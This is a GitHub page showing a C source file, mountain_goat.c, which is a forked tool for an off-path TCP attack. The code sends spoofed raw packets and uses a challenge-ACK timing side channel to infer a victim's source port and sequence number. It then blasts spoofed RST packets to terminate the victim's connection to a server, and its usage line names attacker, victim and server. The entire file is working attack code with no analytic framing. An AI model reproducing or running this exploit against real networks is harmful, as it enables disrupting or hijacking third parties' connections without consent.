forked from Gnoxter/mountain_goat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmountain_goat.c
514 lines (404 loc) · 13.4 KB
/
mountain_goat.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pcap.h>
#include "layers.h"
#include <string.h>
#include <net/ethernet.h>
#include <time.h>
#include <sys/timerfd.h>
typedef struct state (*state_function)(Session *ctx);
struct state {
state_function next;
};
void enter_the_machine(Session *ctx, state_function entry_point) {
struct state s = {next:entry_point};
while (1) {
s = s.next(ctx);
}
}
struct state state_error(Session *ctx) {
fprintf(stderr, "Triggered error_state\n");
exit(EXIT_FAILURE);
}
struct state state_finish(Session *ctx) {
fprintf(stderr, "The Machine finished\n");
exit(EXIT_SUCCESS);
}
#define PROBE_BUFF_LEN 60
unsigned count_acks_for_2secs(Session *ctx) {
int response_count = 0;
int start = time(NULL);
while (time(NULL)-start <= 1) {
struct tcp_header *h = session_read_packet(ctx);
if (h == NULL)
continue;
ctx->stream_seq = tcp_get_acknum(h);
ctx->stream_acks = tcp_get_seqnum(h);
if (tcp_isset_fin(h)) {
ctx->connection_closed = 1;
}
if (tcp_isset_ack(h) && !tcp_isset_fin(h) && ctx->stream_seq == tcp_get_acknum(h)) {
response_count += 1;
}
free(h);
}
return response_count;
}
void tsync_to_offset(long nsec_offset) {
struct timespec tsync;
uint64_t exp;
clock_gettime(CLOCK_REALTIME, &tsync);
struct timespec initial1 = {tv_sec:tsync.tv_sec+1, tv_nsec:nsec_offset};
struct timespec interv1 = {tv_sec:1, tv_nsec:0};
const struct itimerspec itimer1 = {it_value:initial1,it_interval:interv1};
int timer_fd = timerfd_create(CLOCK_REALTIME, 0);
timerfd_settime(timer_fd,TFD_TIMER_ABSTIME, &itimer1, NULL);
read(timer_fd, &exp, sizeof(uint64_t));
close(timer_fd);
}
void probe_ack_spoof(Session *ctx, unsigned probe_count, uint32_t sequence) {
char buffer[PROBE_BUFF_LEN];
struct ipv4_header *ip = (struct ipv4_header *) buffer;
struct tcp_header *tcp = (struct tcp_header *) (buffer + sizeof(struct ipv4_header));
memset(buffer, 0, PROBE_BUFF_LEN);
ipv4_spoof_init(ip, ctx);
ip->len = sizeof(struct ipv4_header) + sizeof(struct tcp_header);
tcp_spoof_init(tcp, ctx);
tcp_set_seqnum(tcp, sequence);
tcp_set_rst(tcp);
tcp_calculate_checksum(ip, tcp);
for(unsigned count = 0; count < probe_count; count++) {
int bytes_sent = sendto(ctx->raw_socket, buffer, ip->len, 0, ctx->daddr->ai_addr, ctx->daddr->ai_addrlen);
if (bytes_sent < 0 ) {
perror("sendto() error");
exit(-1);
}
usleep(1);
}
}
void probe_ack_burst(Session *ctx, unsigned probe_count) {
char buffer[PROBE_BUFF_LEN];
struct ipv4_header *ip = (struct ipv4_header *) buffer;
struct tcp_header *tcp = (struct tcp_header *) (buffer + sizeof(struct ipv4_header));
memset(buffer, 0, PROBE_BUFF_LEN);
ipv4_init(ip, ctx);
ip->len = sizeof(struct ipv4_header) + sizeof(struct tcp_header);
tcp_init(tcp, ctx);
tcp_set_seqnum(tcp, ctx->stream_seq+1000);
tcp_set_rst(tcp);
tcp_calculate_checksum(ip, tcp);
for(unsigned count = 0; count < probe_count; count++) {
int bytes_sent = sendto(ctx->raw_socket, buffer, ip->len, 0, ctx->daddr->ai_addr, ctx->daddr->ai_addrlen);
if (bytes_sent < 0 ) {
perror("sendto() error");
exit(-1);
}
usleep(1000);
}
}
long probe_ack_interval(Session *ctx, const unsigned probe_count, const long probe_usec_cost, const long usec_interval) {
struct timespec tstart, tend;
char buffer[PROBE_BUFF_LEN];
struct ipv4_header *ip = (struct ipv4_header *) buffer;
struct tcp_header *tcp = (struct tcp_header *) (buffer + sizeof(struct ipv4_header));
memset(buffer, 0, PROBE_BUFF_LEN);
ipv4_init(ip, ctx);
ip->len = sizeof(struct ipv4_header) + sizeof(struct tcp_header);
tcp_init(tcp, ctx);
tcp_set_seqnum(tcp, ctx->stream_seq+1000);
tcp_set_rst(tcp);
tcp_calculate_checksum(ip, tcp);
tsync_to_offset(ctx->nsec_offset);
clock_gettime(CLOCK_REALTIME, &tstart);
for(unsigned count = 0; count < probe_count; count++) {
int bytes_sent = sendto(ctx->raw_socket, buffer, ip->len, 0, ctx->daddr->ai_addr, ctx->daddr->ai_addrlen);
if (bytes_sent < 0 ) {
perror("sendto() error");
exit(-1);
}
usleep((usec_interval-(probe_count*probe_usec_cost))/probe_count);
}
clock_gettime(CLOCK_REALTIME, &tend);
printf("%u probes dispatch in %.5f seconds\n", probe_count,
((double)tend.tv_sec + 1.0e-9*tend.tv_nsec) -
((double)tstart.tv_sec + 1.0e-9*tstart.tv_nsec));
return tstart.tv_nsec;
}
void probe_syn_ack_port_interval(Session *ctx, uint16_t start, uint16_t end) {
struct timespec tstart, tend;
char buffer[PROBE_BUFF_LEN];
struct ipv4_header *ip = (struct ipv4_header *) buffer;
struct tcp_header *tcp = (struct tcp_header *) (buffer + sizeof(struct ipv4_header));
memset(buffer, 0, PROBE_BUFF_LEN);
ipv4_spoof_init(ip, ctx);
ip->len = sizeof(struct ipv4_header) + sizeof(struct tcp_header);
tcp_spoof_init(tcp, ctx);
tcp_set_seqnum(tcp, ctx->stream_seq-100); //could be random
tcp_set_syn(tcp);
tcp_set_ack(tcp);
tsync_to_offset(ctx->nsec_offset);
clock_gettime(CLOCK_REALTIME, &tstart);
for(int i = start; i <= end; i++) {
tcp->srcport = htons(i);
tcp_calculate_checksum(ip, tcp);
int bytes_sent = sendto(ctx->raw_socket, buffer, ip->len, 0, ctx->daddr->ai_addr, ctx->daddr->ai_addrlen);
if (bytes_sent < 0 ) {
perror("proby_syn_ack_port_interval sendto() failed");
exit(-1);
}
usleep(5);
}
clock_gettime(CLOCK_REALTIME, &tend);
printf("%u syn+ack probes in %.5f seconds\n", end-start+1,
((double)tend.tv_sec + 1.0e-9*tend.tv_nsec) -
((double)tstart.tv_sec + 1.0e-9*tstart.tv_nsec));
}
int probe_syn_ack_binary_search(Session *ctx, uint16_t left, uint16_t right) {
uint32_t mid;
while (left < right) {
mid = (((uint32_t)right+(uint32_t)left)/2)+1*(((uint32_t)right+(uint32_t)left) % 2);
probe_syn_ack_port_interval(ctx, mid, right);
probe_ack_burst(ctx, 100);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
continue;
}
if (count == 100) {
right = mid-1;
} else {
left = mid;
}
}
return left;
}
uint32_t probe_seq_binary_search(Session *ctx, uint32_t left, uint32_t right, uint32_t step) {
uint32_t base = left;
right = (right-left)/step;
left = 1;
uint64_t mid;
while (left < right) {
mid = ((right+left)/2)+1*((right+left) % 2);
tsync_to_offset(ctx->nsec_offset);
for(int j = mid; j <= right ; j++) {
probe_ack_spoof(ctx, 1, base+j*step);
}
probe_ack_burst(ctx, 100);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
continue;
}
if (count == 100) {
right = mid-1;
} else {
left = mid;
}
}
return base+left*step;
}
struct state state_having_a_blast(Session *ctx) {
printf("[ENTERING] state_having_a_blast\n");
struct state s ={next:state_error};
printf("Blasting RSTs: %u - %u\n", ctx->sequence_in_window-ctx->window_size, ctx->sequence_in_window);
for(int i = ctx->sequence_in_window-ctx->step; i < ctx->sequence_in_window; i++) {
probe_ack_spoof(ctx, 1, i);
}
tsync_to_offset(ctx->nsec_offset);
probe_ack_spoof(ctx, 1, ctx->sequence_in_window);
probe_ack_burst(ctx, 100);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
s.next = state_having_a_blast;
return s;
}
if(count == 100) {
printf("Connection terminated, baaaah\n");
} else {
printf("Connection still alive, received %u ACKs\n", count);
}
exit(EXIT_SUCCESS);
}
struct state state_sequence_bin_search(Session *ctx) {
printf("[ENTERING] state_sequence_bin_search\n");
struct state s = {next:state_having_a_blast};
ctx->sequence_in_window = probe_seq_binary_search(ctx, ctx->sequence_chunk_start, ctx->sequence_chunk_end, ctx->step);
printf("Sequence in targets window: %u\n", ctx->sequence_in_window);
return s;
}
struct state state_sequence_chunk_inference(Session *ctx) {
printf("[ENTERING] state_sequence_chunk_inference\n");
struct state s = {next:state_error};
struct timespec tstart, tend;
uint32_t chunksize = 4294967295/(ctx->window_size);
uint32_t megachunks = chunksize/10000;
for(int i = ctx->sequence_i; i < megachunks; i++) {
printf("Probing Sequence Chunk %u - %u\n", (i*10000)*ctx->window_size, (i+1)*10000*ctx->window_size);
ctx->sequence_i = i;
tsync_to_offset(ctx->nsec_offset);
clock_gettime(CLOCK_REALTIME, &tstart);
for(int j = 0; j < 10000; j++) {
probe_ack_spoof(ctx, 1, (i*10000*ctx->window_size) + j*ctx->window_size);
}
clock_gettime(CLOCK_REALTIME, &tend);
probe_ack_burst(ctx, 100);
if ( ((double)tend.tv_sec + 1.0e-9*tend.tv_nsec) - ((double)tstart.tv_sec + 1.0e-9*tstart.tv_nsec) > 0.999) {
printf("[!] %u probes dispatched in %.5f seconds\n", 10000+100,
((double)tend.tv_sec + 1.0e-9*tend.tv_nsec) -
((double)tstart.tv_sec + 1.0e-9*tstart.tv_nsec));
}
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
i -= 1;
continue;
}
if (count < 100) {
printf("Sequence is in Chunk %u - %u\n", i*10000*ctx->window_size, (i+1)*10000*ctx->window_size);
ctx->sequence_chunk_start = i*10000*ctx->window_size;
ctx->sequence_chunk_end = (i+1)*10000*ctx->window_size;
ctx->step = ctx->window_size*(100-count);
if (ctx->step != ctx->window_size) {
printf("Adjusted step from %u to %u\n", ctx->window_size, ctx->step);
}
s.next = state_sequence_bin_search;
break;
}
}
return s;
}
struct state state_source_port_inference(Session *ctx) {
printf("[ENTERING] state_source_port_inference\n");
struct state s = {next:state_error};
//Windows prior Windows 2008: 1025 to 5000
//Windows current: 49152 to 65535
//Linux default: 32768 to 61000
/*
We have to split the ports into chunks because
probe_syn_ack_port_interval has a small intervall between
sends, otherwise packets will disappear
*/
int i;
int start = 32768;
int end = 61000;
int chunksize = 10000;
int chunks = (end-start)/chunksize;
int rest = (end-start) % chunksize;
for(i = 0; i < chunks; i++) {
probe_syn_ack_port_interval(ctx, start+(i*chunksize), start+(i*chunksize)+chunksize);
probe_ack_burst(ctx, 100);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
i -= 1;
continue;
}
if (count < 100) {
uint16_t port = probe_syn_ack_binary_search(ctx, start+(i*chunksize), start+(i*chunksize)+chunksize);
printf("Source Port interference determined: %u\n", port);
session_set_source_port(ctx, port);
s.next = state_sequence_chunk_inference;
return s;
}
}
if (rest != 0) {
probe_syn_ack_port_interval(ctx, start+(i*chunksize), start+(i*chunksize)+rest);
probe_ack_burst(ctx, 100);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
probe_syn_ack_port_interval(ctx, start+(i*chunksize), start+(i*chunksize)+rest);
probe_ack_burst(ctx, 100);
count = count_acks_for_2secs(ctx);
if (ctx->connection_closed){
printf("Nope\n");
exit(EXIT_FAILURE);
}
}
if (count < 100) {
uint16_t port = probe_syn_ack_binary_search(ctx, start+(i*chunksize), start+(i*chunksize)+rest);
printf("Source Port interference determined: %u\n", port);
session_set_source_port(ctx, port);
s.next = state_sequence_chunk_inference;
return s;
}
}
printf("Source Port interference failed\n");
exit(EXIT_FAILURE);
}
struct state state_synchronize(Session *ctx) {
printf("[ENTERING] state_synchronize\n");
struct state s = {next:state_synchronize};
long n1_offset = probe_ack_interval(ctx, 200, 200, 1000000);
int n1 = count_acks_for_2secs(ctx);
if (n1 == 0 ) {
printf("[!] Server does not react on ACK probes.\n");
exit(EXIT_FAILURE);
}
if (n1 < 100) {
printf("Received less than 100 ACKs: %u\n");
exit(EXIT_FAILURE);
}
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
return s;
}
if (n1 == 100)
goto synced;
//Now we wait until we reach nanosec offset + 5 milliseconds
ctx->nsec_offset = n1_offset + 5000000;
long n2_offset = probe_ack_interval(ctx, 200, 200, 1000000);
int n2 = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
return s;
}
if (n2 == 100)
goto synced;
uint64_t offset;
if (n2 >= n1) {
offset = (300-n2)*5000000;
} else {
offset = (n2-100)*5000000;
}
//Now we wait until we reach nanosec offset + calculated offset
ctx->nsec_offset = offset;
probe_ack_interval(ctx, 200, 200, 1000000);
int count = count_acks_for_2secs(ctx);
if(ctx->connection_closed) {
session_reconnect_increase(ctx);
return s;
}
if (count != 100) {
s.next = state_synchronize;
return s;
}
synced:
if (ctx->sequence_in_window != 0)
s.next = state_having_a_blast;
if (ctx->sequence_chunk_start != 0 && ctx->sequence_chunk_end != 0)
s.next = state_sequence_bin_search;
if (ctx->sequence_i != 0)
s.next = state_sequence_chunk_inference;
if (session_get_source_port(ctx) == 0)
s.next = state_source_port_inference;
return s;
}
int main(int argc, char *argv[]) {
if (argc != 6){
printf("Usage: mountain_goat <attacker_ip> <attacker_port> <victim_ip> <server_ip> <server_port>\n");
printf("\t(attacker_ip, attacker_port) - local pair that is used to connect to the server\n");
exit(EXIT_FAILURE);
}
Session *ctx = new_session(argv[1], atoi(argv[2]), argv[3], argv[4], atoi(argv[5]));
enter_the_machine(ctx, state_synchronize);
return 0;
}